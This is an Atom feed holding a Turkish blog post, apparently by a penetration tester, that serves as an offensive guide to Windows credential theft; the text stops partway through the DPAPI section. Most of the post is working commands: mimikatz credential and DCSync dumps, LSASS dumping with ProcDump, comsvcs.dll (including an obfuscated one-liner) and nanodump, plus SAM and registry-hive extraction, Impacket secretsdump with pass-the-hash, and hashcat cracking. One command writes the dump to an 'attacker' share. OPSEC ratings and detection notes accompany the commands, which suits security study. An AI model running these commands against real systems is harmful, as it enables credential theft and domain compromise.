<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="tr">
  <title>Tağmaç — Türkçe</title>
  <subtitle>Tağmaç; etik hacking, web güvenliği ve exploit geliştirme alanlarında uzmanlaşmış bir Siber Güvenlik Danışmanı ve Zafiyet Araştırmacısıdır. Bulgularını, CVE&#39;lerini ve teknik blogunu keşfedin.</subtitle>
  <link href="https://tagmachan.com/feed-tr.xml" rel="self"/>
  <link href="https://tagmachan.com/"/>
  <updated>2026-06-29T12:00:00Z</updated>
  <id>https://tagmachan.com/feed-tr.xml</id>
  <author>
    <name>Tağmaç</name>
    <email>info@tagmachan.com</email>
  </author>
  
  <entry>
    <title>Windows Kimlik Bilgisi Erişimi: LSASS, DPAPI, SAM ve Tarayıcı Sırları</title>
    <link href="https://tagmachan.com/windows-kimlik-bilgisi-erisimi-lsass-dpapi-sam-ve-tarayici-sirlari.tagox"/>
    <updated>2026-06-29T12:00:00Z</updated>
    <id>https://tagmachan.com/windows-kimlik-bilgisi-erisimi-lsass-dpapi-sam-ve-tarayici-sirlari.tagox</id>
    <category term="Security Research"/>
    <summary>Windows kimlik bilgisi erişiminin eksiksiz saldırgan rehberi: LSASS iç yapısı ve SSP mimarisi, DPAPI ana anahtar hiyerarşisi, SAM ve NTDS çıkarımı, Credential Manager kötüye kullanımı, tarayıcı kimlik bilgisi şifre çözme (Chrome AES-GCM + DPAPI, Firefox NSS) ve GPP kimlik bilgileri — OPSEC puanları ve tespit rehberiyle.</summary>
    <content type="html">&lt;p&gt;Windows, kimlik bilgilerini onlarca farklı yerde saklar. Bir etki alanı ortamında çalışan tek bir Windows iş istasyonunda; LSASS belleğinde NT hash&#39;leri ve Kerberos biletleri, SAM veritabanında yerel hesap hash&#39;leri, DPAPI korumasıyla tarayıcı şifreleri, Credential Manager&#39;da ağ kimlik bilgileri ve SYSVOL&#39;da eski GPP şifreleri aynı anda var olabilir. Bu karmaşıklık, savunucular için bir baş ağrısı, saldırganlar için ise bir altın maden gibidir.&lt;/p&gt;
&lt;p&gt;2011 yılında Fransız araştırmacı Benjamin Delpy, &quot;mimikatz&quot; adını verdiği aracı yayınladığında Windows güvenliği dünyası kökten değişti. Delpy, Microsoft&#39;un &quot;cleartext şifreler bellekte saklanamaz&quot; iddiasının aksine, Windows&#39;un WDigest kimlik doğrulama protokolü aracılığıyla cleartext şifreleri LSASS belleğinde tuttuğunu kanıtladı. O günden bu yana mimikatz, penetrasyon testlerinin ve gerçek saldırıların vazgeçilmez aracı haline geldi; MITRE ATT&amp;CK T1003 (OS Credential Dumping) teknik ailesi ise bu saldırı kategorisini resmi olarak belgeledi.&lt;/p&gt;
&lt;p&gt;Bu yazıda Windows kimlik bilgisi erişimini derinlemesine inceleyeceğiz: LSASS&#39;ın SSP mimarisi, DPAPI&#39;nin anahtar hiyerarşisi, SAM ve NTDS dump teknikleri, Credential Manager kötüye kullanımı, Chrome ve Firefox şifre şifre çözme mekanizmaları ve GPP kimlik bilgileri. Her teknik için gerçek komutlar, OPSEC değerlendirmeleri ve tespit rehberi sunacağız.&lt;/p&gt;
&lt;img src=&quot;https://tagmachan.com/assets/img/blog/credential-access-hero.svg&quot; alt=&quot;Windows Credential Access - LSASS, DPAPI, SAM, NTDS, Browser&quot; style=&quot;width:100%;border-radius:6px;margin:1.5rem 0;&quot; /&gt;
&lt;h2&gt;1. LSASS (Local Security Authority Subsystem Service) Derinlemesine&lt;/h2&gt;
&lt;p&gt;LSASS, Windows&#39;un kimlik doğrulama altyapısının kalbidir. Tüm oturum açma işlemlerini yönetir, Kerberos biletlerini işler, NTLM challenge-response protokolünü uygular ve kullanıcı oturumlarıyla ilişkili kimlik bilgilerini bellekte tutar. Process PID&#39;i genellikle 600&#39;lü aralıktadır (sistem yapılandırmasına göre değişir) ve &lt;code&gt;C:&#92;Windows&#92;System32&#92;lsass.exe&lt;/code&gt; konumunda bulunur.&lt;/p&gt;
&lt;p&gt;LSASS&#39;ın kritik özelliği, farklı kimlik doğrulama protokollerini desteklemek için dinamik olarak yüklenebilen modüller olan &lt;strong&gt;Security Support Provider (SSP)&lt;/strong&gt;&#39;leri kullanmasıdır. Her SSP, farklı türde kimlik bilgilerini bellekte tutar ve bu kimlik bilgilerine erişmek, o SSP&#39;nin sızdırılacak veriyi barındırdığı anlamına gelir.&lt;/p&gt;
&lt;img src=&quot;https://tagmachan.com/assets/img/blog/lsass-internals-ssp.svg&quot; alt=&quot;LSASS Process - Security Support Providers&quot; style=&quot;width:100%;border-radius:6px;margin:1.5rem 0;&quot; /&gt;
&lt;h3&gt;1.1 Security Support Providers (SSP) Detayları&lt;/h3&gt;
&lt;h4&gt;msv1_0.dll — NTLM Kimlik Doğrulaması&lt;/h4&gt;
&lt;p&gt;NTLM kimlik doğrulamasını yöneten modül. Bellekte şunları tutar:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;NT hash:&lt;/strong&gt; Kullanıcı şifresinin MD4 hash&#39;i. Pass-the-Hash saldırılarında doğrudan kullanılabilir.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;LM hash:&lt;/strong&gt; Eski sistemlerde hâlâ bulunabilir. Kırılması çok kolaydır.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NTLMv1/v2 challenge-response:&lt;/strong&gt; NTLM el sıkışmasında kullanılan oturum hash&#39;leri.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Oturum anahtarları:&lt;/strong&gt; SMB imzalama ve şifreleme için kullanılan anahtar materyali.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::msv&lt;/code&gt; veya &lt;code&gt;sekurlsa::logonpasswords&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;kerberos.dll — Kerberos Protokolü&lt;/h4&gt;
&lt;p&gt;Active Directory ortamlarında birincil kimlik doğrulama protokolü olan Kerberos&#39;u yönetir. Bellekte şunları tutar:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;TGT (Ticket Granting Ticket):&lt;/strong&gt; AS-REP&#39;ten alınan bilet. Domain Controller ile oturum açmadan kullanılabilir.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;TGS (Ticket Granting Service):&lt;/strong&gt; Belirli servislere erişim için kullanılan servis biletleri.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Oturum anahtarları:&lt;/strong&gt; TGT ve TGS ile ilişkili şifreleme anahtarları.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;APREQ token&#39;ları:&lt;/strong&gt; Servis kimlik doğrulaması için hazırlanmış token&#39;lar.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mimikatz komutları: &lt;code&gt;sekurlsa::kerberos&lt;/code&gt;, &lt;code&gt;kerberos::list /export&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Önemli:&lt;/strong&gt; Kerberos biletleri &lt;code&gt;pass-the-ticket&lt;/code&gt; saldırısında kullanılabilir. TGT&#39;ye sahipseniz, o kullanıcı adına herhangi bir TGS alabilirsiniz. krbtgt hash&#39;i ele geçirilirse Golden Ticket oluşturulabilir.&lt;/p&gt;
&lt;h4&gt;wdigest.dll — HTTP Digest Kimlik Doğrulaması&lt;/h4&gt;
&lt;p&gt;HTTP Digest kimlik doğrulaması için tasarlanmış bu modül, protokolün gereksinimi nedeniyle &lt;strong&gt;cleartext şifreleri bellekte tutmak zorunda kalıyordu&lt;/strong&gt;. Benjamin Delpy&#39;nin keşfettiği ve dünyayı sarsan güvenlik açığı tam olarak buydu.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Windows 7 / Server 2008:&lt;/strong&gt; Varsayılan AÇIK. Cleartext şifreler LSASS belleğinde bulunur.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Windows 8.1 / Server 2012 R2+:&lt;/strong&gt; Varsayılan KAPALI. KB2871997 ile devre dışı bırakıldı.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Yeniden etkinleştirme:&lt;/strong&gt; &lt;code&gt;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;SecurityProviders&#92;WDigest&#92;UseLogonCredential = 1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Saldırganlar bu registry anahtarını 1&#39;e ayarlayıp kurbanın yeniden oturum açmasını bekleyerek cleartext şifreyi elde edebilir. Ancak bu işlem kayıt bırakır.&lt;/p&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::wdigest&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;tspkg.dll — Terminal Services / RDP Kimlik Bilgileri&lt;/h4&gt;
&lt;p&gt;Terminal Services kimlik doğrulamasını yönetir. Aktif RDP oturumları varsa bellekte cleartext kullanıcı adı ve şifre tutabilir. Özellikle jump server veya RDP gateway sistemlerinde değerlidir.&lt;/p&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::tspkg&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;livessp.dll — Microsoft Hesabı (Live ID)&lt;/h4&gt;
&lt;p&gt;Windows 8 ve 8.1 döneminde Microsoft hesabı kimlik doğrulaması için kullanılan SSP. Günümüzde büyük ölçüde cloudap.dll tarafından yerini almıştır.&lt;/p&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::livessp&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;cloudap.dll — Azure AD / Windows Hello&lt;/h4&gt;
&lt;p&gt;Modern Windows cihazlarında Azure Active Directory (Entra ID) kimlik doğrulamasını yönetir. Bellekte şunları tutar:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;PRT (Primary Refresh Token):&lt;/strong&gt; Azure AD oturumu için kullanılan uzun ömürlü token. Bu token ile yeni access token ve refresh token elde edilebilir.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Windows Hello anahtarları:&lt;/strong&gt; PIN veya biyometrik kimlik doğrulama için kullanılan özel anahtarlar.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Nonce&#39;lar ve proof token&#39;ları:&lt;/strong&gt; Azure AD ile iletişim için kullanılan kriptografik materyaller.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::cloudap&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not:&lt;/strong&gt; PRT ele geçirilmesi, MFA atlayarak Azure portalı, Microsoft 365, Teams ve tüm Azure kaynaklarına erişim imkânı verebilir. Bu, &quot;Pass-the-PRT&quot; saldırısı olarak bilinir.&lt;/p&gt;
&lt;h4&gt;credssp.dll — Credential Security Support Provider&lt;/h4&gt;
&lt;p&gt;Network Level Authentication (NLA) ve CredSSP protokolünü yönetir. RDP bağlantılarında tam kimlik bilgilerini uzak sisteme aktarır. Bağlantı kurulduktan sonra bu kimlik bilgileri uzak sistemin LSASS belleğinde belirir.&lt;/p&gt;
&lt;p&gt;mimikatz komutu: &lt;code&gt;sekurlsa::credman&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;1.2 LSASS Dump Teknikleri&lt;/h3&gt;
&lt;p&gt;LSASS dump için birden fazla yöntem mevcuttur. Her birinin farklı OPSEC profili ve gereksinim düzeyi vardır:&lt;/p&gt;
&lt;h4&gt;Yöntem 1: Task Manager (GUI)&lt;/h4&gt;
&lt;p&gt;En kolay ve en gürültülü yöntem. Etkileşimli bir oturum gerektirir.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Görev Yöneticisi → Ayrıntılar sekmesi → lsass.exe
# Sağ tıklayın → &quot;Döküm dosyası oluştur&quot;
# Çıktı: C:&#92;Users&#92;[kullanıcı]&#92;AppData&#92;Local&#92;Temp&#92;lsass.DMP
# OPSEC: ÇOK YÜKSEK — Sysmon Event 10 tetikler&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Yöntem 2: ProcDump (Microsoft İmzalı)&lt;/h4&gt;
&lt;p&gt;Sysinternals&#39;ın ProcDump aracı Microsoft tarafından dijital imzalanmıştır. Bu, bazı eski AV çözümlerini atlayabilir. Ancak modern EDR&#39;ler bu aracın lsass.exe&#39;ye erişimini algılar.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Temel kullanım
procdump.exe -ma lsass.exe lsass_dump.dmp

# EULA kabul ettirerek (silent)
procdump.exe -ma -accepteula lsass.exe C:&#92;temp&#92;lsass.dmp

# PID ile (process ismi yerine)
procdump.exe -ma 640 C:&#92;temp&#92;lsass.dmp

# OPSEC: YÜKSEK — Sysmon Event 10, Defender ATP uyarısı&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Yöntem 3: comsvcs.dll MiniDump (LOLBin)&lt;/h4&gt;
&lt;p&gt;Sistemde yerleşik olarak bulunan &lt;code&gt;comsvcs.dll&lt;/code&gt; dosyasının &lt;code&gt;MiniDump&lt;/code&gt; export fonksiyonunu kullanan bu teknik, ekstra araç gerektirmez — bu yüzden &quot;Living off the Land Binary (LOLBin)&quot; olarak sınıflandırılır.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# PowerShell ile PID al ve dump oluştur
$LSASS = (Get-Process lsass).Id
rundll32.exe C:&#92;Windows&#92;System32&#92;comsvcs.dll MiniDump $LSASS C:&#92;temp&#92;lsass.dmp full

# CMD ile tek satır
rundll32 comsvcs.dll MiniDump (wmic process where name=&quot;lsass.exe&quot; get processid /value | findstr ProcessId | cut -d= -f2) C:&#92;temp&#92;lsass.dmp full

# Powershell tek satır (obfuscated)
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot&#92;System32&#92;comsvcs.dll, MiniDump $p $env:TEMP&#92;out.dmp full;Wait-Job -Any

# OPSEC: ORTA — rundll32 + comsvcs kombinasyonu flaglenir
# Sysmon Event 11 (dosya oluşturma), Event 10 (process access)&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Yöntem 4: nanodump (PPL Bypass)&lt;/h4&gt;
&lt;p&gt;nanodump, PPL (Protected Process Light) korumasını bypass eden gelişmiş bir LSASS dump aracıdır. Process handle açmak yerine, işlem fork&#39;lama veya handle çoğaltma tekniklerini kullanır.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Temel kullanım
nanodump.exe --write C:&#92;temp&#92;lsass.dmp

# PID belirterek
nanodump.exe -p 640 --write C:&#92;temp&#92;lsass.dmp

# Handle duplicate yöntemi (daha gizli)
nanodump.exe --dup --write C:&#92;temp&#92;lsass.dmp

# Uzaktan SMB üzerinden (C2 içinde)
nanodump.exe -p 640 --dup --write &#92;&#92;attacker&#92;share&#92;lsass.dmp

# OPSEC: DÜŞÜK — kernel düzeyinde olaylar, kullanıcı modu denetimi atlatılır
# PPL bypass için kernel driver veya exploit gerekebilir&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Yöntem 5: SilentProcessExit&lt;/h4&gt;
&lt;p&gt;Windows hata raporlama mekanizmasını kullanan gizli bir teknik:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Registry anahtarları ile dump tetikleme
reg add &quot;HKLM&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;SilentProcessExit&#92;lsass.exe&quot; /v ReportingMode /t REG_DWORD /d 1 /f
reg add &quot;HKLM&#92;SOFTWARE&#92;Microsoft&#92;Windows NT&#92;CurrentVersion&#92;SilentProcessExit&#92;lsass.exe&quot; /v MonitorProcess /t REG_SZ /d &quot;C:&#92;Windows&#92;System32&#92;cmd.exe&quot; /f

# Sonra lsass.exe&#39;yi öldür (dikkatli olun — sistem çöker!)
# Daha güvenli: farklı bir process üzerinde deneyin

# OPSEC: YÜKSEK — registry değişikliği + process kill çok dikkat çekicidir&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Yöntem 6: Impacket secretsdump (Uzaktan)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# Kullanıcı adı/şifre ile
python3 secretsdump.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10

# NT hash ile (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10

# Kerberos bileti ile
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10

# Sadece SAM
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

# OPSEC: DÜŞÜK/ORTA — ağ üzerinden, yerel process erişimi yok
# DCSync modu: Event 4662 tetikler&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 mimikatz ile Hash Çıkarma&lt;/h3&gt;
&lt;p&gt;Dump dosyası elde edildikten sonra veya doğrudan sistem üzerinde mimikatz kullanılarak hash&#39;ler çıkarılır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Önce debug yetkisi al (SeDebugPrivilege — SYSTEM gerektirir)
privilege::debug

# Tüm oturum açmış kullanıcıların kimlik bilgilerini al
# NT hash + cleartext (WDigest aktifse) + Kerberos biletleri
sekurlsa::logonpasswords

# Sadece WDigest cleartext şifreler
sekurlsa::wdigest

# Kerberos TGT ve TGS biletlerini al
sekurlsa::kerberos

# RDP (TS) kimlik bilgilerini al
sekurlsa::tspkg

# NTLM kimlik bilgilerini al
sekurlsa::msv

# Azure AD PRT token&#39;larını al
sekurlsa::cloudap

# Credential Manager kimlik bilgilerini al
sekurlsa::credman

# ============================================================
# Dump dosyasından offline çıkarma (sistemde mimikatz çalıştırmadan)
# ============================================================

# Önce dump dosyasını yükle
sekurlsa::minidump C:&#92;temp&#92;lsass.dmp

# Artık tüm komutlar dump&#39;tan okur
sekurlsa::logonpasswords

# SAM veritabanından yerel hash&#39;ler
lsadump::sam

# LSA secrets (servis hesabı şifreleri, auto-logon)
lsadump::secrets

# Cached domain credentials (DCC2 formatı)
lsadump::cache

# Domain backup key al
lsadump::backupkeys /system:DC01.corp.local /export

# DCSync — belirli bir kullanıcının hash&#39;ini DC&#39;den çek
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 Credential Guard&lt;/h3&gt;
&lt;p&gt;Microsoft, Windows 10 sürüm 1511&#39;den itibaren Credential Guard özelliğini sundu. Bu özellik, Hyper-V tabanlı sanallaştırma kullanarak LSASS&#39;ı izole bir ortamda çalıştırır (VSM — Virtual Secure Mode / VTL1).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credential Guard&#39;ın koruduğu şeyler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;NT hashes (msv1_0.dll) — artık VTL1&#39;de, kullanıcı modundan erişilemez&lt;/li&gt;
  &lt;li&gt;Kerberos TGT/TGS — artık VTL1&#39;de&lt;/li&gt;
  &lt;li&gt;WDigest cleartext şifreler — tamamen engellendi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Credential Guard&#39;ın KORUMАDIĞI şeyler:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;SAM veritabanındaki yerel hash&#39;ler&lt;/li&gt;
  &lt;li&gt;NTDS.dit (domain hash&#39;leri)&lt;/li&gt;
  &lt;li&gt;DPAPI master key&#39;leri&lt;/li&gt;
  &lt;li&gt;Tarayıcı şifreleri&lt;/li&gt;
  &lt;li&gt;Ağ üzerinden yakalanan NTLM hash&#39;leri (responder vb.)&lt;/li&gt;
  &lt;li&gt;Credential Manager vault girişleri&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Credential Guard etkinleştirme durumunu kontrol etme:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# PowerShell ile kontrol
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard aktif, 2 = HVCI aktif
&lt;h1&gt;Registry kontrolü&lt;/h1&gt;
&lt;p&gt;reg query &amp;quot;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;DeviceGuard&amp;quot; /v EnableVirtualizationBasedSecurity&lt;br /&gt;
reg query &amp;quot;HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Lsa&amp;quot; /v LsaCfgFlags&lt;/p&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;2. SAM Veritabanı (Security Account Manager)&lt;/h2&gt;
&lt;p&gt;SAM veritabanı, Windows&#39;un yerel kullanıcı hesaplarının kimlik bilgilerini depoladığı kritik bir dosyadır. Fiziksel konum: &lt;code&gt;C:&#92;Windows&#92;System32&#92;config&#92;SAM&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;SAM dosyası, sisteme özel bir boot anahtarı (syskey/bootkey) ile şifrelenmiştir. Bu anahtarı çözmek için &lt;code&gt;SYSTEM&lt;/code&gt; hive dosyasına da ihtiyaç vardır (&lt;code&gt;C:&#92;Windows&#92;System32&#92;config&#92;SYSTEM&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Çalışan bir sistemde SAM dosyası kilitlidir; Volume Shadow Copy (VSS) veya registry export ile kopyalanmalıdır.&lt;/p&gt;
&lt;h3&gt;2.1 SAM Dump Teknikleri&lt;/h3&gt;
&lt;h4&gt;Volume Shadow Copy (VSS) ile&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# VSS snapshot oluştur
vssadmin create shadow /for=C:

# Shadow copy yolunu bul
vssadmin list shadows

# SAM ve SYSTEM&#39;i kopyala (shadow copy yolunu kullan)
copy &#92;&#92;?&#92;GLOBALROOT&#92;Device&#92;HarddiskVolumeShadowCopy1&#92;Windows&#92;System32&#92;config&#92;SAM C:&#92;temp&#92;SAM
copy &#92;&#92;?&#92;GLOBALROOT&#92;Device&#92;HarddiskVolumeShadowCopy1&#92;Windows&#92;System32&#92;config&#92;SYSTEM C:&#92;temp&#92;SYSTEM

# Temizlik
vssadmin delete shadows /shadow:{GUID}

# Impacket ile hash çıkar
python3 secretsdump.py -sam C:&#92;temp&#92;SAM -system C:&#92;temp&#92;SYSTEM LOCAL&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Registry Export ile (etkileşimli oturumda)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# Registry üzerinden SAM ve SYSTEM export et
reg save HKLM&#92;SAM C:&#92;temp&#92;SAM.hive
reg save HKLM&#92;SYSTEM C:&#92;temp&#92;SYSTEM.hive
reg save HKLM&#92;SECURITY C:&#92;temp&#92;SECURITY.hive

# Yerel impacket analizi
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;mimikatz ile (canlı sistem)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;privilege::debug
token::elevate        # SYSTEM token al
lsadump::sam          # SAM&#39;dan hash&#39;leri çıkar&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 LSA Secrets&lt;/h3&gt;
&lt;p&gt;LSA Secrets, HKLM&#92;SECURITY&#92;Policy&#92;Secrets registry anahtarında saklanan ve sistem düzeyindeki sırları içeren özel bir yapıdır. Bunlar arasında:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;_SC_ServiceName:&lt;/strong&gt; Windows servislerinin çalıştığı hesapların şifreleri&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;DefaultPassword:&lt;/strong&gt; Otomatik oturum açma şifresi (auto-logon)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;NL$KM:&lt;/strong&gt; Cached domain credentials için şifreleme anahtarı&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;$MACHINE.ACC:&lt;/strong&gt; Domain makine hesabının şifresi (her 30 günde değişir)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;DPAPI_SYSTEM:&lt;/strong&gt; Sistem düzeyinde DPAPI master key&#39;i&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# mimikatz ile LSA Secrets çıkar
privilege::debug
token::elevate
lsadump::secrets

# Impacket ile
python3 secretsdump.py corp.local/administrator:&#39;Password123&#39;@10.10.10.10 -just-lsa&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 Cached Domain Credentials (DCC2)&lt;/h3&gt;
&lt;p&gt;Windows, domain controller&#39;a ağ bağlantısı olmadığında bile kullanıcıların oturum açabilmesi için son 10 domain kimlik bilgisini önbelleğe alır. Bunlar &lt;code&gt;HKLM&#92;SECURITY&#92;Cache&lt;/code&gt; altında NL$1, NL$2 vb. adlarla saklanır.&lt;/p&gt;
&lt;p&gt;Hash formatı: &lt;strong&gt;DCC2 (MS-Cache v2)&lt;/strong&gt; — hashcat modu &lt;code&gt;-m 2100&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;DCC2 hash&#39;leri, NTLM hash&#39;lerinin aksine ağ kimlik doğrulamasında kullanılamaz (Pass-the-Hash çalışmaz). Ancak kırılarak cleartext şifreye ulaşılabilir. Kırma işlemi Kerberoast&#39;tan çok daha yavaştır.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# mimikatz ile cached credentials
privilege::debug
token::elevate
lsadump::cache

# Hashcat ile kırma
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash

# Örnek
hashcat -m 2100 &#39;$DCC2$10240#administrator#a4bcd...&#39; rockyou.txt --rules best64.rule&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. DPAPI (Data Protection API) Derinlemesine&lt;/h2&gt;
&lt;p&gt;DPAPI, Microsoft&#39;un Windows&#39;ta kullanıcı sırlarını saklamak için geliştirdiği şifreleme altyapısıdır. 1999&#39;dan bu yana Windows&#39;ta mevcuttur ve kullanımı son derece yaygındır: Chrome şifreleri, Credential Manager, Wi-Fi şifreleri, EFS anahtarları, sertifika özel anahtarları ve daha fazlası DPAPI ile korunur.&lt;/p&gt;
&lt;p&gt;DPAPI&#39;nin temel prensibi: şifreleme anahtarı kullanıcının şifresinden türetilir. Bu sayede kullanıcı oturum açtığında veriye erişebilir, oturum kapalıyken veriye erişilemez. Ancak bu tasarımın önemli bir zayıflığı vardır: &lt;strong&gt;domain backup key&lt;/strong&gt;.&lt;/p&gt;
&lt;img src=&quot;https://tagmachan.com/assets/img/blog/dpapi-hierarchy.svg&quot; alt=&quot;DPAPI Key Hierarchy - Domain Backup Key, Master Key, DPAPI Blob&quot; style=&quot;width:100%;border-radius:6px;margin:1.5rem 0;&quot; /&gt;
&lt;h3&gt;3.1 DPAPI Anahtar Hiyerarşisi&lt;/h3&gt;
&lt;h4&gt;Seviye 1: Domain Backup Key&lt;/h4&gt;
&lt;p&gt;Active Directory ortamlarında, Domain Controller&#39;da özel bir &quot;DPAPI backup key&quot; saklanır. Bu anahtar, domain üzerindeki &lt;em&gt;tüm kullanıcıların&lt;/em&gt; master key&#39;lerini şifrelemek için kullanılır. Anahtara sahip olan kişi, domain&#39;deki tüm kullanıcıların DPAPI sırlarını çözebilir.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Konum: DC&#39;nin LSASS belleğinde ve AD veritabanında&lt;/li&gt;
  &lt;li&gt;Tüm DC&#39;lere replike edilir&lt;/li&gt;
  &lt;li&gt;Domain Admin hakları gerektirir&lt;/li&gt;
  &lt;li&gt;Yıllar boyunca değişmez (dikkat!)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# mimikatz ile domain backup key çıkar
lsadump::backupkeys /system:DC01.corp.local /export
# Çıktı: ntds_capi_*.pvk ve ntds_legacyapi_*.pvk dosyaları

# Impacket dpapi.py ile
python3 dpapi.py backupkeys --export -t corp.local/administrator:&#39;Password123&#39;@DC01.corp.local&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Seviye 2: User Master Key&lt;/h4&gt;
&lt;p&gt;Her kullanıcının bir veya birden fazla master key&#39;i vardır. Bu key&#39;ler kullanıcı profil klasöründe GUID adlı dosyalar olarak saklanır:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Master key konumu
%APPDATA%&#92;Microsoft&#92;Protect&#92;{SID}&#92;{GUID}
# Örnek:
C:&#92;Users&#92;jdoe&#92;AppData&#92;Roaming&#92;Microsoft&#92;Protect&#92;S-1-5-21-...-1001&#92;{3a4b5c6d-...}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Master key, kullanıcı şifresinden ve SID&#39;den türetilir (PBKDF2 + HMAC-SHA1). Domain ortamında domain backup key ile de şifrelenmiş bir kopyası bulunur.&lt;/p&gt;
&lt;h4&gt;Seviye 3: DPAPI_BLOB&lt;/h4&gt;
&lt;p&gt;Her şifrelenmiş veri parçası bir DPAPI_BLOB formatındadır. Bu blob&#39;un başlığında hangi master key GUID&#39;inin kullanıldığı yazar, böylece şifre çözme sırasında doğru master key bulunabilir.&lt;/p&gt;
&lt;h4&gt;Seviye 4: Korunan Sır&lt;/h4&gt;
&lt;p&gt;Blob şifrelendikten sonra ortaya çıkan gerçek sır: tarayıcı şifresi, Wi-Fi anahtarı, sertifika özel anahtarı vb.&lt;/p&gt;
&lt;h3&gt;3.2 DPAPI Saldırı Teknikleri&lt;/h3&gt;
&lt;h4&gt;Domain Backup Key ile Toplu Çözme&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;# 1. Backup key&#39;i al (DA hakları gerekli)
python3 dpapi.py backupkeys --export -t corp.local/administrator:&#39;Password123&#39;@DC01
# veya mimikatz:
